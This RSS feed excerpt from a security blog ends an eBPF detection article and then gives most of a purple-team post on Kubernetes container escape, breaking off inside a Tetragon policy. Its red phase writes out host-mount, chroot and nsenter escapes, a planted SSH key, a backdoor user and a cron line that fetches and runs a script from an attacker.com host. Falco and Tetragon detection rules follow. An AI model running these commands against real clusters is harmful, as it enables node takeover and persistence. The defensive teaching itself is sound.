<p><strong>Ring buffer overflow silently drops events on high-throughput nodes.</strong> Both Falco and bpftrace use kernel ring buffers to pass events to userspace. If the userspace consumer (the Falco daemon, the bpftrace process) cannot keep up with the event rate, the kernel drops events silently. Falco exposes a <code class="" data-line="">falco_events_dropped_total</code> metric — monitor it. Tune <code class="" data-line="">ring_buffer_size</code> in the Falco configuration if drops occur on high-throughput nodes.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Use Case</th>
<th>Tool</th>
<th>Hook Type</th>
<th>Detection Latency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-hoc outbound connection investigation</td>
<td>bpftrace</td>
<td>tracepoint:syscalls:sys_enter_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Always-on container shell detection</td>
<td>Falco</td>
<td>eBPF modern driver / syscall</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>Container escape prevention</td>
<td>Tetragon + Sigkill</td>
<td>kprobe: security_sb_mount</td>
<td>Blocking (pre-completion)</td>
</tr>
<tr>
<td>Privilege escalation detection</td>
<td>Falco / bpftrace</td>
<td>tracepoint:syscalls:sys_enter_setuid</td>
<td>Real-time</td>
</tr>
<tr>
<td>Supply chain implant execution</td>
<td>Falco execve rule</td>
<td>eBPF modern driver</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>SSRF-to-metadata detection</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Lateral movement via unexpected STS call</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect + process filter</td>
<td>Real-time</td>
</tr>
<tr>
<td>Audit trail for incident response</td>
<td>Tetragon JSON events</td>
<td>kprobe / tracepoint</td>
<td>Persistent, SIEM-routable</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Best For</th>
<th>Not For</th>
</tr>
</thead>
<tbody>
<tr>
<td>bpftrace</td>
<td>Ad-hoc node investigation during IR</td>
<td>Always-on production detection</td>
</tr>
<tr>
<td>Falco</td>
<td>Rule-based behavioral detection</td>
<td>Network-layer enforcement</td>
</tr>
<tr>
<td>Tetragon</td>
<td>Always-on detection + optional enforcement</td>
<td>Ad-hoc one-liner investigation</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> closes the telemetry gap that CloudTrail, VPC Flow Logs, and syslog cannot close: OS-level process activity is only visible at the kernel syscall layer, and eBPF is the only production-grade mechanism that reads it without kernel module risk</li>
<li>Every attack in EP07 through EP10 has a real-time kernel-level signal — SSRF connections, container mount calls, unexpected execve chains, privilege escalation attempts — none of which appear in your current SIEM unless you&#8217;ve built this layer</li>
<li>Falco provides declarative, rule-based behavioral detection; Tetragon provides syscall-level enforcement that can terminate an attack before it completes — use both with complementary scopes</li>
<li>bpftrace is the incident response tool for asking the kernel a direct question right now; it is not a monitoring agent and should not be treated as one</li>
<li>The false positive problem is real and must be addressed before enabling enforcement: <code class="" data-line="">kubectl exec</code>, debug containers, init containers with legitimate mounts — exclusions must be tuned per environment before moving from <code class="" data-line="">action: Post</code> to <code class="" data-line="">action: Sigkill</code></li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 closed the detection gap. You&#8217;ve instrumented the kernel, you&#8217;re receiving Falco alerts, Tetragon is firing on namespace-crossing mount attempts. Then the alert fires at 2:47 AM on a Sunday — not a test, not a false positive. Something got in.</p>
<p>EP12 is the playbook for the first 24 hours after a confirmed cloud breach: what to isolate and how without destroying forensic evidence, what to preserve before it rotates out of CloudTrail&#8217;s 90-day window, what eBPF data to capture while the node is still live, who to call and in what order, and how to avoid the common mistakes that turn a containable incident into a regulatory event. The response phase — where everything you built in EP04 through EP11 either pays off or reveals what you missed.</p>
<p>Get EP12 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&#038;title=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" data-a2a-url="https://linuxcent.com/detection-engineering-ebpf-cloud/" data-a2a-title="Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents"></a></p><p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/detection-engineering-ebpf-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1873</post-id>	</item>
		<item>
		<title>Kubernetes Container Escape: Attack Paths and eBPF Detection</title>
		<link>https://linuxcent.com/kubernetes-container-escape-attack-paths/</link>
					<comments>https://linuxcent.com/kubernetes-container-escape-attack-paths/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Container Escape]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1864</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes container escape via --privileged or runc CVEs: two commands from container to node root. Attack path anatomy, eBPF detection, and the structural fixes that close each path.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata</a> → <strong>Kubernetes Container Escape</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Kubernetes container escape</strong> is OWASP A04 + A05: a container deployed with <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, or <code class="" data-line="">hostNetwork</code> is not meaningfully isolated from the host — two commands can produce a root shell on the node</li>
<li>The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. <code class="" data-line="">--privileged</code> removes those boundaries — the kernel sees no difference between the container and the host</li>
<li>Three primary escape paths: privileged container with host device access, <code class="" data-line="">hostPID</code> + <code class="" data-line="">nsenter</code>, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec</li>
<li>Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces <code class="" data-line="">nsenter</code> and <code class="" data-line="">mount</code> syscalls at the point of the kernel hook, not a process name check that can be evaded</li>
<li>The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and mounts before a pod ever schedules</li>
<li>Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A04 Insecure Design — <code class="" data-line="">--privileged</code> placed in production workloads because the development environment never enforced boundaries. A05 Security Misconfiguration — absence of PodSecurity admission, RuntimeClass, and seccomp profiles.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│              KUBERNETES CONTAINER ESCAPE — ATTACK SURFACE               │
│                                                                         │
│  ┌──────────────────────────────────────────────────────────────┐       │
│  │                     KUBERNETES NODE                          │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (--privileged)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  web app ──&#x25b6; exploit ──&#x25b6; shell in container          │   │       │
│  │  │                           │                           │   │       │
│  │  │  PATH 1: mount /dev/sda1  │                           │   │       │
│  │  │  ──────────────────────── ▼                           │   │       │
│  │  │  chroot /mnt/host → root shell on node                │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (hostPID=true)                             │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 2: nsenter -t 1 -m -u -i -n -p -- bash         │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           root shell in host PID 1 namespaces         │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  ┌───────────────────────────────────────────────────────┐   │       │
│  │  │  Container (runc CVE)                                 │   │       │
│  │  │                                                       │   │       │
│  │  │  PATH 3: overwrite /proc/self/exe during runc exec    │   │       │
│  │  │  ─────────────────────────────────────────────────&#x25b6;   │   │       │
│  │  │           arbitrary code execution as root on node    │   │       │
│  │  └───────────────────────────────────────────────────────┘   │       │
│  │                                                              │       │
│  │  Node root → kubectl access → cluster-admin via node creds  │       │
│  └──────────────────────────────────────────────────────────────┘       │
│                                                                         │
│  DETECTION LAYER        │  STRUCTURAL FIX                               │
│  Falco / Tetragon       │  PodSecurity Restricted                       │
│  mount syscall hooks    │  RuntimeClass (gVisor/Kata)                   │
│  audit logs             │  Seccomp + no-new-privileges                  │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Kubernetes container escape</strong> is the point where a compromised application pod becomes a compromised Kubernetes node — and from a node, an attacker reaches the kubelet credential, the node&#8217;s service account, and often a path to cluster-admin. The boundary between container and host is not the Kubernetes API. It is Linux namespaces, cgroups, and seccomp. When you remove those with <code class="" data-line="">--privileged</code>, you remove the boundary.</p>
<hr />
<h2 id="the-incident-privileged-just-for-debugging">The Incident: &#8211;privileged &#8220;Just for Debugging&#8221;</h2>
<p>A networking issue in staging. The developer can&#8217;t get the CNI tracing they need from inside the normal container. Someone adds <code class="" data-line="">--privileged: true</code> to the pod spec to expose <code class="" data-line="">/sys/class/net</code> and the raw packet socket. The PR merges. The staging deployment works. The <code class="" data-line="">--privileged</code> flag stays in the manifest when staging gets promoted to production.</p>
<p>Six months later, the web application running in that pod has an RCE vulnerability. The attacker gets a shell.</p>
<p>Inside the container, two commands:</p>
<pre><code class="" data-line="">mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
</code></pre>
<p>Root on the node. Not escalation through a kernel exploit. Not a zero-day. Just mounting the device that was always accessible because <code class="" data-line="">--privileged</code> was set.</p>
<p>The node has a kubelet credential and a service account token with broader permissions than the compromised application ever needed. From the node, lateral movement into the cluster control plane is a matter of using credentials that are already there.</p>
<p>This is A04 (Insecure Design) and A05 (Security Misconfiguration) combined: the design didn&#8217;t account for what happens when the boundary is removed, and no enforcement mechanism prevented the configuration from reaching production.</p>
<hr />
<h2 id="why-the-kernel-doesnt-know-about-kubernetes">Why the Kernel Doesn&#8217;t Know About Kubernetes</h2>
<p>Kubernetes namespaces are a scheduler and API concept. When you create a Kubernetes namespace and apply RBAC to it, you are controlling what the Kubernetes API server will accept — you are not creating a kernel isolation boundary between workloads in different namespaces.</p>
<p>Kernel isolation comes from:</p>
<pre><code class="" data-line="">Linux namespaces (PID, net, mount, IPC, UTS, user)
  ├── Created by container runtime (containerd, crio)
  ├── Container processes run inside these namespaces
  └── From inside: host PIDs, host network, host filesystem are not visible

cgroups
  ├── Limit CPU, memory, and device access per container
  └── Prevent runaway resource consumption and limit device access scope

seccomp profiles
  ├── Filter system calls the container is allowed to invoke
  └── Block ptrace, mount, CAP_SYS_ADMIN and other privileged syscalls

Capabilities
  ├── Fine-grained kernel privileges (CAP_NET_ADMIN, CAP_SYS_ADMIN, etc.)
  └── --privileged grants ALL capabilities + disables seccomp + disables AppArmor
</code></pre>
<p><code class="" data-line="">--privileged</code> removes all three layers simultaneously. It grants every capability, disables the default seccomp filter, and disables AppArmor confinement. A privileged container is effectively a process running on the host with a different filesystem view — and with <code class="" data-line="">mount</code>, you can fix even the filesystem view.</p>
<hr />
<h2 id="red-phase-the-three-escape-paths">Red Phase: The Three Escape Paths</h2>
<h3 id="path-1-privileged-container">Path 1: &#8211;privileged Container</h3>
<p>A privileged container has <code class="" data-line="">CAP_SYS_ADMIN</code>, which includes the ability to mount arbitrary block devices. On a node with a standard Linux filesystem, <code class="" data-line="">/dev/sda1</code> or equivalent contains the host root filesystem.</p>
<p><strong>Check if the current container is privileged:</strong></p>
<pre><code class="" data-line=""># CapEff shows the effective capability set as a hex bitmask
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff

# Decode it
capsh --decode=0000003fffffffff | grep -o &#039;cap_sys_admin&#039;
# cap_sys_admin — present means privileged
</code></pre>
<p><strong>Full escape sequence:</strong></p>
<pre><code class="" data-line=""># Step 1: Identify the host block device
# /proc/mounts shows what the container runtime mounted
cat /proc/mounts | grep &#039; / &#039;
# overlay on / type overlay (rw,...,upperdir=/var/lib/containerd/...)

# Or: check fdisk/lsblk — visible in privileged container
lsblk
# NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
# sda      8:0    0   80G  0 disk
# ├─sda1   8:1    0   79G  0 part /
# └─sda2   8:2    0    1G  0 part [SWAP]

# Step 2: Mount host root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Step 3a: Write attacker SSH key to host authorized_keys
echo &quot;ssh-rsa AAAA...&quot; &gt;&gt; /mnt/host/root/.ssh/authorized_keys

# Step 3b: Or take an immediate root shell via chroot
chroot /mnt/host /bin/bash
# Now running as root in the host filesystem
# id: uid=0(root) gid=0(root)

# Step 4: From host root — access kubelet credentials
cat /etc/kubernetes/pki/ca.crt
# Or pull the node&#039;s bootstrap token / client cert for API server access
ls /var/lib/kubelet/pki/
</code></pre>
<p><strong>What persistence looks like from node root:</strong></p>
<pre><code class="" data-line=""># Add a backdoor user to host /etc/passwd
chroot /mnt/host useradd -m -s /bin/bash -G sudo backdoor
chroot /mnt/host passwd backdoor

# Or: schedule a cron job on the host
echo &quot;* * * * * root curl http://attacker.com/c2 | bash&quot; \
  &gt;&gt; /mnt/host/etc/cron.d/maintenance
</code></pre>
<h3 id="path-2-hostpid-hostnetwork-escape">Path 2: hostPID / hostNetwork Escape</h3>
<p><code class="" data-line="">hostPID: true</code> is a less obvious escape path than <code class="" data-line="">--privileged</code> but equally dangerous. When a container shares the host PID namespace, it can see and interact with every process running on the node — including PID 1, which is running in the host&#8217;s full namespace set.</p>
<p><strong>With hostPID enabled, nsenter produces a host root shell without mounting anything:</strong></p>
<pre><code class="" data-line=""># From inside the container — see all host processes
ps aux
# This will show containerd, kubelet, systemd, sshd — everything on the node

# nsenter: enter the namespaces of PID 1 (host init process)
# -t 1: target PID 1
# -m: enter mount namespace (host filesystem)
# -u: enter UTS namespace (host hostname)
# -i: enter IPC namespace
# -n: enter network namespace
# -p: enter PID namespace
nsenter -t 1 -m -u -i -n -p -- bash

# Now running in host namespaces
hostname   # shows node hostname, not container hostname
mount | grep &quot; / &quot;  # shows host root mount, not container overlay
id         # uid=0(root) gid=0(root)
</code></pre>
<blockquote>
<p><strong>nsenter</strong> — a Linux utility that enters the namespaces of an existing process. With <code class="" data-line="">-t 1</code> it enters PID 1&#8217;s namespaces, which are the host&#8217;s namespaces. The result is a shell that sees the host filesystem, host network, and host process tree as if running directly on the node.</p>
</blockquote>
<p><code class="" data-line="">hostNetwork: true</code> on its own does not directly produce a root shell, but it exposes the node&#8217;s network interfaces and allows binding to host ports. Combined with access to the cloud provider&#8217;s instance metadata service (IMDS), it enables credential theft from the node&#8217;s IAM role — the attack path covered in <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata and IMDSv1 exploitation</a>.</p>
<h3 id="path-3-runc-cve-escape-cve-2019-5736">Path 3: runc CVE Escape (CVE-2019-5736)</h3>
<p>CVE-2019-5736 is a different attack class — it does not require a misconfiguration in the pod spec. It exploits a race condition in the runc container runtime itself.</p>
<p>The mechanism:</p>
<pre><code class="" data-line="">1. Attacker controls a container image
2. Image&#039;s entrypoint is a symlink: /proc/self/exe → /runc (or similar path)
3. Operator runs: kubectl exec -it &lt;pod&gt; -- /bin/bash
4. runc reads /proc/self/exe to find its own binary path during exec
5. Attacker&#039;s process in container has a brief window to overwrite /proc/self/exe
6. Race condition: attacker overwrites the runc binary on the host with malicious binary
7. On next runc exec, malicious binary runs as root on the host
</code></pre>
<p>The detection signature for runc-class escapes is writes to <code class="" data-line="">/proc/self/exe</code> or writes to paths that correspond to runc&#8217;s host binary location from within a container process:</p>
<pre><code class="" data-line=""># Simplified bpftrace detection of /proc/self/exe writes (safe to run as read):
# This shows the pattern — Tetragon implements this as a continuous policy

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_write {
  // Track write() calls where the fd points to /proc/self/exe
  // In production: Tetragon handles this at the LSM hook level
  printf(&quot;PID %d comm %s writing fd %d\n&quot;, pid, comm, args-&gt;fd);
}
&#039; 2&gt;/dev/null | head -20
</code></pre>
<p>Patched versions of runc (1.0.0-rc7+, containerd 1.2.3+) fix the race condition. The practical implication: <strong>node patching is the only fix for runc-class CVEs</strong> — pod security policy cannot prevent a vulnerability in the container runtime itself.</p>
<h3 id="safe-simulation-audit-your-cluster-before-an-attacker-does">Safe Simulation: Audit Your Cluster Before an Attacker Does</h3>
<p>These commands are read-only and safe to run against any cluster you have kubectl access to:</p>
<pre><code class="" data-line=""># Find all pods running with --privileged
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name, 
     (.spec.containers[] | select(.securityContext.privileged == true) | .name)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Find pods with hostPID or hostNetwork
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.hostPID == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (if .spec.hostPID then &quot;hostPID&quot; else &quot;&quot; end),
     (if .spec.hostNetwork then &quot;hostNetwork&quot; else &quot;&quot; end)] |
    join(&quot; / &quot;)&#039; | \
  grep -v &quot;/$&quot; | \
  sort -u

# Check for pods using hostPath mounts (host filesystem access via volume)
kubectl get pods -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.volumes[]?.hostPath != null) |
    [.metadata.namespace, .metadata.name,
     (.spec.volumes[] | select(.hostPath != null) |
      .name + &quot;→&quot; + .hostPath.path)] |
    join(&quot; / &quot;)&#039; | \
  sort -u

# Check DaemonSets — these often run privileged and cover every node
kubectl get daemonsets -A -o json | \
  jq -r &#039;.items[] |
    select(.spec.template.spec.containers[].securityContext.privileged == true) |
    [.metadata.namespace, .metadata.name] | join(&quot;/&quot;)&#039; | \
  sort -u
</code></pre>
<hr />
<h2 id="blue-phase-ebpf-detection">Blue Phase: eBPF Detection</h2>
<p>Detecting container escape attempts requires visibility below the Kubernetes API layer. Audit logs show pod creation — they do not show what a process inside the container does with <code class="" data-line="">mount</code>, <code class="" data-line="">nsenter</code>, or <code class="" data-line="">/proc/self/exe</code>. eBPF-based tools (Falco, Tetragon) attach to kernel hooks and observe syscalls regardless of what namespace or container they originate from.</p>
<h3 id="falco-privileged-container-and-mount-detection">Falco: Privileged Container and Mount Detection</h3>
<pre><code class="" data-line=""># Falco rules for container escape detection
# /etc/falco/rules.d/container-escape.yaml

# Rule 1: Privileged container started
- rule: Privileged Container Started
  desc: &gt;
    A container running with --privileged was started.
    This removes all capability and seccomp restrictions.
  condition: &gt;
    container.privileged = true and
    evt.type = execve and
    container.id != host
  output: &gt;
    Privileged container started
    (user=%user.name user_uid=%user.uid
     command=%proc.cmdline
     container_id=%container.id
     container_name=%container.name
     image=%container.image.repository:%container.image.tag
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, privilege-escalation, OWASP-A05]

# Rule 2: Mount syscall from inside a container
- rule: Container Mount Syscall
  desc: &gt;
    A process inside a container invoked mount().
    In a non-privileged container this fails; in a privileged container
    it succeeds and may be mounting host block devices.
  condition: &gt;
    evt.type = mount and
    container.id != host and
    not proc.name in (container_runtime_processes)
  output: &gt;
    Mount syscall from container
    (user=%user.name
     command=%proc.cmdline
     mount_source=%evt.arg.source
     mount_target=%evt.arg.target
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, OWASP-A04]

# Rule 3: nsenter or chroot invoked inside container
- rule: Namespace Enter or Chroot in Container
  desc: &gt;
    nsenter or chroot executed from within a running container.
    nsenter with -t 1 enters host namespaces directly.
  condition: &gt;
    evt.type = execve and
    container.id != host and
    proc.name in (nsenter, chroot)
  output: &gt;
    nsenter/chroot executed in container
    (user=%user.name
     command=%proc.cmdline
     parent=%proc.pname
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: ERROR
  tags: [container, privilege-escalation, T1611]

# Rule 4: Process reading host PID tree (hostPID indicator)
- rule: Container Reading Host Process List
  desc: &gt;
    A process inside a container is reading /proc entries for PIDs
    that don&#039;t belong to it — indicates hostPID=true and enumeration.
  condition: &gt;
    evt.type = openat and
    fd.name startswith /proc/ and
    fd.name endswith /status and
    container.id != host and
    not fd.name startswith /proc/self
  output: &gt;
    Container reading host process status
    (proc=%proc.cmdline fd=%fd.name
     container_id=%container.id
     namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, discovery, T1057]
</code></pre>
<h3 id="tetragon-tracingpolicy-for-nsenter-and-mount-syscalls">Tetragon: TracingPolicy for nsenter and Mount Syscalls</h3>
<p>Tetragon attaches eBPF programs at LSM (Linux Security Module) hooks and kernel function entry/exit points. Unlike Falco which uses a single tracepoint aggregation model, Tetragon can enforce at the kernel level — it can block a syscall before it completes, not just alert after the fact.</p>
<pre><code class="" data-line=""># Tetragon TracingPolicy: detect and optionally block container escape attempts
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
  namespace: kube-system
spec:
  kprobes:
    # Hook 1: sys_mount — detect any mount() call from a container process
    - call: &quot;sys_mount&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # source device (e.g. /dev/sda1)
        - index: 1
          type: &quot;string&quot;     # target mount point
        - index: 2
          type: &quot;string&quot;     # filesystem type
      selectors:
        # Only fire for container processes (not the container runtime itself)
        - matchNamespaces:
          - namespace: Pid
            operator: NotIn
            values:
              - &quot;host_pid_ns&quot;   # Replace with actual host PID NS value
          matchActions:
          - action: Post        # Post = log; change to Sigkill to enforce

    # Hook 2: __x64_sys_execve for nsenter binary
    - call: &quot;__x64_sys_execve&quot;
      return: false
      syscall: true
      args:
        - index: 0
          type: &quot;string&quot;     # filename being executed
      selectors:
        - matchArgs:
          - index: 0
            operator: Postfix
            values:
              - &quot;/nsenter&quot;
          matchActions:
          - action: Post

  # Hook 3: write to /proc/self/exe — runc CVE class indicator
  kprobes:
    - call: &quot;vfs_write&quot;
      return: false
      syscall: false
      args:
        - index: 0
          type: &quot;file&quot;
      selectors:
        - matchArgs:
